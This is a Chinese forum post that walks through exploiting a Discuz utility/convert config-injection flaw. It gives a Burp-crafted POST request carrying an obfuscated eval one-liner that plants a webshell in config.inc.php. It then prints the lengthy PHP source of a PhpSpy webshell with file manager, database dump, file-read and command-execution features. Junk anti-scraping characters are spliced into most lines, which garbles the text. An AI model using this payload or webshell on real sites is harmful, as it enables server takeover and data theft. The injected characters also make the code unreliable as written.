找回密码
 立即注册
搜索
查看: 7770|回复: 0

网络安全实战之discuz上传漏洞利用

[复制链接]

991

主题

92

回帖

5万

积分

管理员

积分
55422
发表于 2022-6-25 09:01:11 | 显示全部楼层 |阅读模式

攻击思路:
; Y. A6 x( N* ~2 {想要拿下一台主机A的权限:
, X+ W: h( G/ l/ I1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞0 l( |+ b+ M! I$ F( G
2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权1 k) q8 O, f1 x+ Z# E! j
3、传上去后,得到apache用户普通权限,再提权成root
( s% s* w- r; b7 z概述:. b' @/ |1 Z; ?6 m3 d# M# W
这突破在一个DZ X系列自带的转换工具里面。
" T" _( f: d/ O$ `8 K漏洞路径:utility / convert / data / config.inc.php
- D& M6 j% K5 C: n漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无仸何过滤检测,所以通过post方式往config。inc.php中写木马程序。/ Q4 M- g. S: ?! l
触发突破过程:$ k8 d2 s+ c0 O
1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php  
$ [( A( w& E/ [2 K) c4 a0 i2、使用/utility/convert/index.php迚行版本转换3,config.inc.php文件没有做过滤,可以使用POST方法对config.inc.php注入木马程序
* B' c3 b& ]% Y; y" g# W7 V攻击过程:
5 r" ~- @! [# K7 O9 r1、打开burp设置报文拦截,然后使用浏览器访问http://xxxxxxx.cn//utility/convert/
  K4 U+ ]8 L, i
0 }! G/ I/ }3 C
* L$ B2 {1 Z) b2,右键单击空白处,选择发送到中继器,将报文发到中继器

3、然后在中继器中查看信息:

4、修改第一行:GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为:

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes

这是一个经过加密的一句话木马解密后内容如下:

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa   eval("$_POST[c];"););

eval()凼数中的eval是评估的简称,这个凼数的作用就是把一段指向PHP语句来执行

5、修改完成后发送数据包

6、刚刚上传的文件路径:http://xxxxxx.cn/utility/convert/data/config.inc.php

代码详细:

可以看到和我们修改提交的参数类似。而且多了很多^ M符号。

扩展:^ M符号^ M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r \n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^ M。所以^ M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除,%0a%0d等于\r\n

7、祭出祖传的中国蚁剑连接刚才上传的一句话木马
2 A& f4 K+ ?( S$ o4 p" [6 P1 _5 L$ u0 D7 E1 I4 Z
8、通过中国蚁剑上传大码
9 V9 @1 O5 f3 O) B4 |' |4 u
3 E1 a0 X5 [4 F) {
% y. w$ I0 J$ c( g! @* f10、任意机器访问我们的webshell2.php木马文件,浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码:cmd

webshell代码如下:

  1. <?php( s6 s5 x% x4 K3 B7 O; p
  2. , l& R# O% f0 c! d
  3. /*****************************************************************************
    & }5 r7 ?( [# n

  4. 1 Q' |* y$ D4 x9 @: p
  5. ===================== 请误用于非法用途,造成一切后果与本人无关。====================8 [7 N* a+ {/ k2 R6 {; G
  6. ! P1 z4 s0 m# P7 z
  7. ====# M! P* w% {, q/ Z/ K

  8. 5 n4 \$ x3 I' r7 \8 O

  9. * G2 d2 L. m' ?+ a1 i- k
  10. *****************************************************************************/8 g0 p2 d* r4 x4 s- G

  11. * L" a* Z/ ?) B5 O
  12. error_reporting(7);$ ]; E) f* B$ `# w/ X. s
  13. @set_magic_quotes_runtime(0);
    3 P4 x2 n# U" _5 F6 F$ r% r* ?
  14. ob_start();
    : j# G4 g( B, c% `& |( j
  15. $mtime = explode(' ', microtime());
    - U, i' z% s. b# S! x, q4 `
  16. $starttime = $mtime[1] + $mtime[0];
    3 J' J6 i& x" i) R8 U6 B$ S
  17. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
    ) E3 J5 d0 z- I7 g
  18. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
    ; a6 l5 _1 h* n2 e) g
  19. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
    1 u, }" r9 K5 V$ H& A
  20. define('IS_COM', class_exists('COM') ? 1 : 0 );
    ' }+ F7 k2 ?9 B+ R7 G
  21. define('IS_GPC', get_magic_quotes_gpc());
    8 Q2 v% v/ e# Z( N) `4 w
  22. $dis_func = get_cfg_var('disable_functions');) R! D. Y% g6 I
  23. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
    4 i& e* u% P2 s! s* {: K
  24. @set_time_limit(0);
    6 E6 y6 c  F) q/ F& p' J

  25. 4 t. A, v/ {' M" E7 V
  26. foreach(array('_GET','_POST') as $_request) {% g1 F5 L6 ^1 z% r0 u0 {4 D( e; K/ B
  27.         foreach($$_request as $_key => $_value) {
    ' k" ?6 a3 l/ `6 }% ]* ~! p" ^4 c
  28.                 if ($_key{0} != '_') {) M2 S  C+ h- Y3 H+ F* l
  29.                         if (IS_GPC) {
    ; R, [& H. H, @
  30.                                 $_value = s_array($_value);- |: v  n% M7 J' B8 j
  31.                         }2 D; T5 j# {$ H( W
  32.                         $$_key = $_value;3 V& C+ I$ f" X8 D$ I$ N
  33.                 }
    # P+ R" d% W) P0 e6 z+ J
  34.         }
    " V) D' o9 J0 [; I7 p' z$ S
  35. }
    ; q% S3 i9 A! s' T
  36. 6 s( m& V0 y( }
  37. /*===================== 程序配置 =====================*/
    4 M/ o7 o4 C  g
  38. $admin = array();
    ! F" _6 Q# [: V# D4 d" l
  39. // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
    7 y& i# y) z8 }' y' r6 e3 T
  40. $admin['check'] = true;
    ) X% a) K. {. T+ s) U$ W
  41. // 如果需要密码验证,请修改登陆密码& J2 w6 M+ u, X
  42. $admin['pass']  = 'xuegod';) f& Q# ^6 W& Y
  43. ; R6 [$ \$ {& B) |
  44. //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
    " q" [/ R$ j4 ]
  45. // cookie 前缀  x. q+ w9 X8 m% K/ f. b
  46. $admin['cookiepre'] = '';
    ' k8 H0 h2 {4 l7 ^5 f9 `* c9 U
  47. // cookie 作用域/ C% u6 G0 o$ \$ I; o
  48. $admin['cookiedomain'] = '';
    ; X1 u/ n  @8 `8 z# j& b4 R  e
  49. // cookie 作用路径
    ' ~" D+ T+ A6 a* H9 [- _% f) W/ N
  50. $admin['cookiepath'] = '/';
    5 B7 P- o" C. W) h, k' W) `! A
  51. // cookie 有效期3 q) j+ x+ e3 ?+ s
  52. $admin['cookielife'] = 86400;  f# i# _. \; i* V, E: `1 F
  53. /*===================== 配置结束 =====================*/7 M8 A- Y3 ?9 I) S7 d/ {/ R
  54. 9 F" O9 U+ L6 L0 ?% a9 J/ T
  55. if ($charset == 'utf8') {
    - C4 p" s1 W6 q& a4 n$ d7 m6 v" i
  56.         header("content-Type: text/html; charset=utf-8");
    " o+ i! [' G1 J, a& o
  57. } elseif ($charset == 'big5') {8 {! ^. N" G& w- s+ S2 u
  58.         header("content-Type: text/html; charset=big5");2 A% ^0 L% {+ a$ M, s) J! i
  59. } elseif ($charset == 'gbk') {9 @2 M. ^8 z$ B0 W1 k5 ]
  60.         header("content-Type: text/html; charset=gbk");. Z" D9 Z% U" E* w( ^
  61. } elseif ($charset == 'latin1') {
    ) ^" P1 @/ F# t& |
  62.         header("content-Type: text/html; charset=iso-8859-2");+ g3 U9 L( d7 h, |# L$ Q
  63. }- V+ \, ]- L2 U0 t
  64. % U0 k3 Y; z7 D: [0 y8 J: {
  65. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
    / k! D5 S5 E  E. I
  66. $timestamp = time();
      I3 Q6 |0 K  s( @9 T# o

  67. * \$ ~- `, T3 R) F/ K6 R/ i7 p
  68. /*===================== 身份验证 =====================*/+ u; ?% i8 u  @  v# K
  69. if ($action == "logout") {
    8 Y+ |5 z1 u9 o/ E, F- V2 a4 c0 m
  70.         scookie('phpspypass', '', -86400 * 365);' Y5 r' w" e- ^* j' v
  71.         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
    : P4 [) i' z& s! X" i! `; t8 _  u
  72.         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
    7 P3 |; o" I( ^0 J
  73.         exit;
    ! U- }7 J. P1 _7 P
  74. }+ a& W: h: x9 ]: }
  75. if($admin['check']) {; V" e$ ]9 k5 E% k( D- N: ^
  76.         if ($doing == 'login') {
    + O5 z! u7 O9 f* B# E. G8 N( N+ \5 [
  77.                 if ($admin['pass'] == $password) {, ~: N0 v3 B: C* X
  78.                         scookie('phpspypass', $password);
    4 c* j" [, t) E5 @$ h: ^; [
  79.                         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');6 \" d" Z: y8 |% g. p3 E; E
  80.                         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');6 ?" s# X6 R# |1 Q6 F
  81.                         exit;
    8 o0 C9 N3 u5 Y
  82.                 }
    % Q/ o) b0 y3 B8 Z
  83.         }( J: J) {, N4 S( Q( M/ Q
  84.         if ($_COOKIE['phpspypass']) {
    7 ~$ q# P7 g+ _. h
  85.                 if ($_COOKIE['phpspypass'] != $admin['pass']) {
      o4 E4 D6 ?! I3 i; ^( U
  86.                         loginpage();# L! G6 {5 L. H0 Q5 U& R
  87.                 }1 n7 d+ s" C$ H- S- v- B2 K/ J
  88.         } else {
    & a( ~  R! s3 B. _+ f/ i4 A% Z
  89.                 loginpage();8 M& [4 f7 [5 f5 H# M( S; x
  90.         }
    - ]7 A# y. m( ~. e7 K
  91. }
    3 c* @7 L% s; r: D) ?8 Z
  92. /*===================== 验证结束 =====================*/
    $ O- N/ G0 P! K# H. _  k% }
  93.   Y  @" n; a6 |9 ?
  94. $errmsg = '';9 V' e; t- b- M8 _8 N( J

  95. & k1 S- B! V7 P! d3 e
  96. // 查看PHPINFO
    4 h$ `0 z, C# e
  97. if ($action == 'phpinfo') {# H, o" M6 z. d0 X6 z( w+ A/ i( H# Y
  98.         if (IS_PHPINFO) {
    2 a' d( i+ J+ u& ]1 i6 e
  99.                 phpinfo();0 K% [- @4 h5 u  Z( ]( \* Z
  100.         } else {3 K  r, ?+ A. w7 K( {! n
  101.                 $errmsg = 'phpinfo() function has non-permissible';
    - a& i7 x7 I: B! X+ g% Q) |, b
  102.         }6 {8 H9 i# ^- ?8 B
  103. }  l* u0 n( I* Z% {( u  _

  104. ! b/ t! d" k  e/ e  E5 n# {
  105. // 下载文件+ f1 r6 m7 t0 K9 D& L
  106. if ($doing == 'downfile' && $thefile) {% L1 x# O2 A+ t' V
  107.         if (!@file_exists($thefile)) {1 t7 `! G6 B" T3 S
  108.                 $errmsg = 'The file you want Downloadable was nonexistent';
    , q& q6 a, Q7 C1 ^) J. Z) s
  109.         } else {
    / i; m3 V& ^6 u: k) `1 p
  110.                 $fileinfo = pathinfo($thefile);* x% f4 G; S# B( {$ C3 X
  111.                 header('Content-type: application/x-'.$fileinfo['extension']);9 J/ |: a! R( \3 Z( k/ R0 F4 I
  112.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);) m" N2 t. }$ l2 W
  113.                 header('Content-Length: '.filesize($thefile));) u2 p! R9 D9 K6 S7 P$ c
  114.                 @readfile($thefile);7 P2 V6 I: K, x9 _1 A
  115.                 exit;
    2 `; C7 h" ^0 u$ L. B
  116.         }- }+ [) `  N/ {8 x, U* [
  117. }
    % a5 z3 c; p! l, `

  118. & k$ A  [" K# c7 q3 @. T3 F
  119. // 直接下载备份数据库
    8 v5 X) \" N8 R
  120. if ($doing == 'backupmysql' && !$saveasfile) {0 O7 G% e/ P( B* _/ @2 J
  121.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
    # H+ d. P  \9 k
  122.         $table = array_flip($table);
    . H& f* V+ X: O0 l$ G) a1 F
  123.         $result = q("SHOW tables");' V- j+ J% S" C! f+ c5 ~
  124.         if (!$result) p('<h2>'.mysql_error().'</h2>');% o3 M* _' T: ?7 }  @$ e
  125.         $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
    4 Z. |  T+ h  S& Z  j8 p) K
  126.         header('Content-type: application/unknown');
    % B' {& Q' ?' o
  127.         header('Content-Disposition: attachment; filename='.$filename);
    # `) o! C+ `. B/ b1 ^, T
  128.         $mysqldata = '';
    " S( Z2 O7 N6 d5 `/ h$ f
  129.         while ($currow = mysql_fetch_array($result)) {
    8 k% P$ a# e: `2 j  p) O
  130.                 if (isset($table[$currow[0]])) {  J% x9 F7 n4 f- S
  131.                         $mysqldata .= sqldumptable($currow[0]);. S* x+ G& K! Q- c' E) ]8 G9 Z
  132.                 }* H; f8 ^5 c. t, e# w7 a+ w
  133.         }" m, G5 S6 |, |( f+ ^2 B
  134.         mysql_close();
    + W, s4 E, F- I4 N! j
  135.         exit;
    . ?( p) O8 n5 J3 `; e2 |
  136. }( j! r, G, \9 w+ }5 P
  137. . g3 R3 C3 T# r) e  w  r8 ~
  138. // 通过MYSQL下载文件
    4 {* m) f4 C& j/ Y: X/ \
  139. if($doing=='mysqldown'){% b8 a$ |8 d! o- n) w8 q
  140.         if (!$dbname) {
    6 n& f7 A4 N( j) J4 n1 L- P% w
  141.                 $errmsg = 'Please input dbname';
    ( P+ t0 f. O2 z- }7 H# H
  142.         } else {8 W0 H( Y" Q6 e
  143.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
    . Q1 H5 O* T+ [" _) S, b# c
  144.                 if (!file_exists($mysqldlfile)) {
    7 j+ d+ Y3 u8 U# i3 B9 V
  145.                         $errmsg = 'The file you want Downloadable was nonexistent';
    0 Y! N  ~$ K7 R$ t0 d1 s' X
  146.                 } else {
      Q: d) E% R) X4 Y
  147.                         $result = q("select load_file('$mysqldlfile');");
    * t% k0 X0 G7 E8 E1 g
  148.                         if(!$result){
    ! |+ A. b) x& D; p
  149.                                 q("DROP TABLE IF EXISTS tmp_angel;");. A' H' P' g" n( Q
  150.                                 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");  P1 h6 d4 X2 S! c# y
  151.                                 //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
    * p" U& W; i; f/ R% s, n
  152.                                 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
    $ _- \$ I; D7 `  w1 i) b% N
  153.                                 $result = q("select content from tmp_angel");
    , b0 X9 H" [- L  H
  154.                                 q("DROP TABLE tmp_angel");
    # u0 V9 B+ y6 c8 d
  155.                         }
    6 N: S4 |/ p9 L" G6 U$ ~2 z7 q; v0 O
  156.                         $row = @mysql_fetch_array($result);
    ) s' o. E- k4 C4 Y0 g$ r2 ]
  157.                         if (!$row) {1 l' V* C+ [4 f# ]  p. G
  158.                                 $errmsg = 'Load file failed '.mysql_error();
    7 q$ I- s. R) U0 H2 q" d
  159.                         } else {
    6 U; k# O: F+ D( I- @
  160.                                 $fileinfo = pathinfo($mysqldlfile);
    , i) G( j( A6 @  x
  161.                                 header('Content-type: application/x-'.$fileinfo['extension']);
    1 c/ `- N& [) c$ G
  162.                                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);# j' k; X9 `  j8 T' }
  163.                                 header("Accept-Length: ".strlen($row[0]));% \8 _# w8 P0 @
  164.                                 echo $row[0];5 y- S! w' x2 X  Z1 }& d
  165.                                 exit;
    ! |! e/ y7 |0 l$ o3 y; a% ]3 q
  166.                         }' n6 U1 W5 H3 T
  167.                 }% Y4 \, w, }2 i: p5 @$ X
  168.         }4 a- ^1 S# f/ O6 C3 U
  169. }
    9 r/ H" q# ]0 A2 |9 U( I0 a4 U) _8 P( R
  170. , K: k) J4 l" ^4 |9 I, z) X- R
  171. ?>
    # u' f6 W$ n+ b: y. l
  172. <html>3 b1 d; }2 O6 a$ @
  173. <head>
    & m: |# d4 c' {" ?4 C, [% _
  174. <meta http-equiv="Content-Type" content="text/html; charset=gbk">
    % i( ]) ]( P2 |7 G  M: Y: _7 I$ n( O# b
  175. <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>9 `: w4 n% N. z/ F
  176. <style type="text/css">3 f- E5 n7 B0 \7 y% i
  177. body,td{font: 12px Arial,Tahoma;line-height: 16px;}  Y1 q1 E+ m: H1 o" Q& Z: ^0 e7 X3 T- I
  178. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}7 v1 k) A7 K8 ^+ u$ c8 q
  179. .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
    1 Q. Z; h0 q; X" U& T( ~9 s' n# y
  180. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
    % s- @3 ]5 e. G  j
  181. a {color: #00f;text-decoration:underline;}
    # l3 e2 S2 i7 M3 @' ?/ i( ]% k8 o
  182. a:hover{color: #f00;text-decoration:none;}% T, e2 t8 i. `1 I" V
  183. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
    5 t1 g" `) f; G5 b
  184. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
    % ^8 x" L, j5 w. ^
  185. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}; r1 I8 J' [  ^  O
  186. .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}( s& U5 y* Q/ J% B8 ^- m1 y. C
  187. .head td span{font-weight:normal;}! K/ w6 z- e1 K2 D
  188. form{margin:0;padding:0;}
    * T; `6 l5 ^- j' o( J) P
  189. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
    * Q0 I. ?2 @# n0 \2 ]$ j- ^: A
  190. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
    * P' V& |3 y6 l% I5 C5 Q5 ?1 y
  191. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}* w6 S: f+ L2 t* f, X
  192. </style>+ w" _1 d! r* G" ~9 {! o
  193. <script type="text/javascript">7 v# V3 j$ m) `: f5 B
  194. function CheckAll(form) {
      q+ k) N4 h. M) n, Z3 r4 B2 g
  195.         for(var i=0;i<form.elements.length;i++) {. Y0 j7 d: W1 T* f. y- [
  196.                 var e = form.elements[i];
    + Z$ @4 e; C& ]& o7 z
  197.                 if (e.name != 'chkall')
    # \! q" x1 a3 t3 A+ G5 M
  198.                 e.checked = form.chkall.checked;
    4 B( p! X+ L& S' h6 s
  199.     }8 q; N0 W/ }  h% P, T8 W- z3 n& g
  200. }8 P- G4 X( o0 p( }
  201. function $(id) {
    * y  @( g6 _( |
  202.         return document.getElementById(id);4 P0 [2 p& o9 t) @
  203. }0 x& x  x$ c1 F/ m
  204. function goaction(act){. g' v! \5 E4 x( {; N
  205.         $('goaction').action.value=act;
    ( f% s' E0 @( Y% i! u& R4 J
  206.         $('goaction').submit();, \! n2 P$ A. @# A$ y
  207. }) {) b6 s2 t: u0 Y& M/ U# D7 ]
  208. </script>9 E% Z" b! Q% D; W/ r% F
  209. </head>$ A" y' i7 {2 {
  210. <body style="margin:0;table-layout:fixed; word-break:break-all">
    1 b( p& V8 J! K* r( ^
  211. <table width="100%" border="0" cellpadding="0" cellspacing="0">
    , d6 W5 N( g5 J6 k& _- i6 Z" O( Y. o
  212.         <tr class="head">
    # ?4 w! |; Y% j7 ~+ W
  213.                 <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
    : |* i' l8 s, u5 U, M
  214.         </tr>  E: m6 {* L2 j- [9 g/ r( V! b: i
  215.         <tr class="alt1">9 X7 x1 I3 m% w1 e: y3 @2 S
  216.                 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>. K# r( D: G, B1 Z& e! ]3 ?+ l
  217.                         <a href="javascript:goaction('logout');">Logout</a> | 5 r9 K8 }* ?/ w$ _
  218.                         <a href="javascript:goaction('file');">File Manager</a> |
    & u+ _4 {* j7 X' z: Z. Q
  219.                         <a href="javascript:goaction('sqladmin');">MySQL Manager</a> | # G, o6 {8 e. v2 f5 @% ?6 I0 w
  220.                         <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> | " [+ f* T* o5 @2 ~* f& G
  221.                         <a href="javascript:goaction('shell');">Execute Command</a> |
    # `' x2 S) o- v$ d0 j% |
  222.                         <a href="javascript:goaction('phpenv');">PHP Variable</a> | 2 G2 t4 |" G: R
  223.                         <a href="javascript:goaction('eval');">Eval PHP Code</a>
      @: X+ }$ S4 z+ W% Z# N
  224.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
    7 `% a+ d: O$ P7 E4 G
  225.                 </td>
    1 B$ f5 L* _3 `$ B5 Y7 w; }2 H
  226.         </tr>- C. _% \5 `, x% w1 h4 F3 M3 j6 K
  227. </table>" ]0 V8 |; y% _! z- f! z) M
  228. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
    9 G7 @' s* r6 L& T0 @! \
  229. <?php9 b$ W4 g) Q. H% Y9 f  x# ]0 N

  230. ' l- n+ v, f, S( U0 M4 L$ i7 O
  231. formhead(array('name'=>'goaction'));
    + {  A$ P3 N! X/ J* e3 ^
  232. makehide('action');. a% v5 ?( R. }, x6 p8 V
  233. formfoot();4 t+ O1 {( X$ E( E9 x6 t# a

  234. - B7 L' S& I% M0 i- S* y
  235. $errmsg && m($errmsg);
    : |0 y8 \) c3 F8 i& a) L) ~
  236. ) {; w; I, O7 @$ e/ n+ ?( ~
  237. // 获取当前路径( _: F. Y2 @6 o: ^6 }; L
  238. !$dir && $dir = '.';
    1 @5 }7 B7 a: {9 C% S
  239. $nowpath = getPath(SA_ROOT, $dir);
    % T; I: ?3 h- C( H$ ]9 t0 W
  240. if (substr($dir, -1) != '/') {
    ; m$ {6 O- f- w0 M; q4 P( S
  241.         $dir = $dir.'/';) b% H7 g0 {0 [% [4 ?0 l+ C: V
  242. }
    . A% v8 b3 n- \5 }1 Q2 m
  243. $uedir = ue($dir);
    6 `7 M% }6 K/ ^6 ]7 q( [! H

  244. 6 n* ~. h2 Y- {) u& w) Z2 x# \
  245. if (!$action || $action == 'file') {/ s, O: Z/ D8 i1 T1 @: y
  246. + O- a4 }) j/ J8 e
  247.         // 判断读写情况; U* W" }/ e/ m% b
  248.         $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';6 q: O4 p5 `# |. `

  249. 5 `9 q2 ]6 O6 N" X
  250.         // 删除目录
    9 }+ w8 g6 t8 r/ f6 i
  251.         if ($doing == 'deldir' && $thefile) {& S% y/ z5 G5 ?+ @8 O$ ~% O' v
  252.                 if (!file_exists($thefile)) {
    - u  v0 y; W5 \5 p$ ]* G
  253.                         m($thefile.' directory does not exist');
    6 c) x. C8 x8 Y/ h( E2 t( K+ @
  254.                 } else {
    2 h+ H$ P4 g+ u- d
  255.                         m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
    / t% q! ^8 C1 O: Q# R' }( K
  256.                 }5 ^7 I5 c2 O+ Y3 J1 D+ ?$ K
  257.         }
    5 g, w; h  e4 T  J, a" P( Y1 ^) ?
  258. & d+ Z8 K2 m! f3 k6 R9 q; E
  259.         // 创建目录6 b( j2 U* I# ~! d$ A- q. b
  260.         elseif ($newdirname) {
    6 o' d) ]/ s- A
  261.                 $mkdirs = $nowpath.$newdirname;& N% o, z2 U9 u. N( `' k1 _' a: m
  262.                 if (file_exists($mkdirs)) {
    2 q8 D0 v9 s* v7 b0 P$ @+ W
  263.                         m('Directory has already existed');1 A. h8 W! T6 A0 I. `* |
  264.                 } else {
    # I8 |5 i0 [( G; f( \
  265.                         m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
    4 c; L& k+ b) n6 s( J
  266.                         @chmod($mkdirs,0777);
      y- i: q# F5 C- `, A% E5 Y
  267.                 }' `, N9 C- ~$ R1 {* a
  268.         }: S+ Q) L, M0 q& ]) G$ {6 f" N3 H

  269. 0 t1 ~( D% W. _3 f
  270.         // 上传文件
    ) `$ O+ b8 C% {. A
  271.         elseif ($doupfile) {; |* {6 U/ _  w1 H5 e1 g
  272.                 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));3 b. ], U5 t, G5 X: r, S" n1 X
  273.         }6 O% I! n9 C+ S7 ?* Q( `, a8 g: B
  274. % v' t3 w- \# l: Y& ~; B! i+ B
  275.         // 编辑文件) q& K( x, E- H8 l
  276.         elseif ($editfilename && $filecontent) {! Y8 _- z9 M1 b( b. K' G$ D. ~
  277.                 $fp = @fopen($editfilename,'w');% _8 e, l5 c; h* n
  278.                 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
    - B: q& y& L5 _+ v: d' Z1 V3 A
  279.                 @fclose($fp);
    ! X5 X$ S6 L8 ~. E/ F
  280.         }
      |! ^) A6 r4 X4 n+ n5 I( R, v

  281. # W( C- N8 e2 f: A! o
  282.         // 编辑文件属性0 W/ d; d4 J8 V; ^2 E1 j
  283.         elseif ($pfile && $newperm) {
    + o& S: F( a, o- H7 s( `; `; w
  284.                 if (!file_exists($pfile)) {
    , ?3 K+ R9 G5 h$ p8 k# S
  285.                         m('The original file does not exist');6 B9 Y/ D7 u' w* C/ f& M3 S! p
  286.                 } else {* O2 k* w4 S' l, A
  287.                         $newperm = base_convert($newperm,8,10);/ n3 f: Z9 k, S; @2 }! c7 }: Z! p
  288.                         m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
    / y6 C% |# g% B) B1 X) [% x
  289.                 }7 @0 ?" }+ H0 q: ^( Q- Y8 q+ @% r
  290.         }4 G3 W$ }0 q# ~! A
  291. 3 w, g- t; f) ~; H/ S# }( Z
  292.         // 改名
    + g$ p5 ~# m4 O3 }; L% x
  293.         elseif ($oldname && $newfilename) {$ E' y6 D2 ~7 b( j
  294.                 $nname = $nowpath.$newfilename;6 h1 U) r0 H( C% m' F6 p5 [
  295.                 if (file_exists($nname) || !file_exists($oldname)) {
    4 f/ H9 |. R: m: T: c- Z, o
  296.                         m($nname.' has already existed or original file does not exist');' J' a4 `3 g! |& A" y* O- ]
  297.                 } else {
    " L/ J: X' T9 W4 M
  298.                         m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
    ) T' w1 Q/ L( S8 y
  299.                 }2 ?" y1 C* I4 Y/ d
  300.         }
    8 U: F( R5 Q& e9 N

  301. + q  t2 Y0 G( u  b7 ?4 o+ R
  302.         // 复制文件
    7 G# W+ m8 a+ P/ ^) f
  303.         elseif ($sname && $tofile) {  v+ |; P+ ~$ j5 v$ @$ m
  304.                 if (file_exists($tofile) || !file_exists($sname)) {# \8 k" n& l- ~+ e
  305.                         m('The goal file has already existed or original file does not exist');- }, S% F! m) u* W- G' j
  306.                 } else {4 y, I, c$ y. y, f
  307.                         m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));# Y0 J" C( g8 |& s8 S7 r% ?
  308.                 }5 `9 ^: F2 ~4 F
  309.         }
    7 W7 `8 V0 U0 i$ @. f7 R
  310. . v3 ^# w6 B  b6 S1 z$ I
  311.         // 克隆时间
    ; x6 N  [' g  x9 t4 T( n2 u
  312.         elseif ($curfile && $tarfile) {
    + T- v/ t, f, m: M
  313.                 if (!@file_exists($curfile) || !@file_exists($tarfile)) {1 Q- F. H) J/ v1 m7 J* `
  314.                         m('The goal file has already existed or original file does not exist');& }* e! P( ]" y) y. Z* B7 X
  315.                 } else {; p3 J' U& Z% j& F( V2 D- I/ \9 i
  316.                         $time = @filemtime($tarfile);3 E6 ?( V4 s4 h/ i9 E  V3 o4 |0 _' c% ]
  317.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
    # @1 \  c' z3 A: G6 W; M2 }
  318.                 }! G7 b9 ^% @% p7 B3 g
  319.         }
      i# ?  E, n& c7 l& L* V  I% V

  320. ' u3 |' m6 B+ F: }5 i
  321.         // 自定义时间
    - d4 P9 U! M$ z6 E
  322.         elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
    ! m6 N$ ^+ F2 A
  323.                 if (!@file_exists($curfile)) {
    + ~! G8 C7 o. E. _
  324.                         m(basename($curfile).' does not exist');
    6 _& B$ I! ?- W
  325.                 } else {/ v; C) M' d( v! x. ]
  326.                         $time = strtotime("$year-$month-$day $hour:$minute:$second");
    : u. @9 @. a8 ~! g
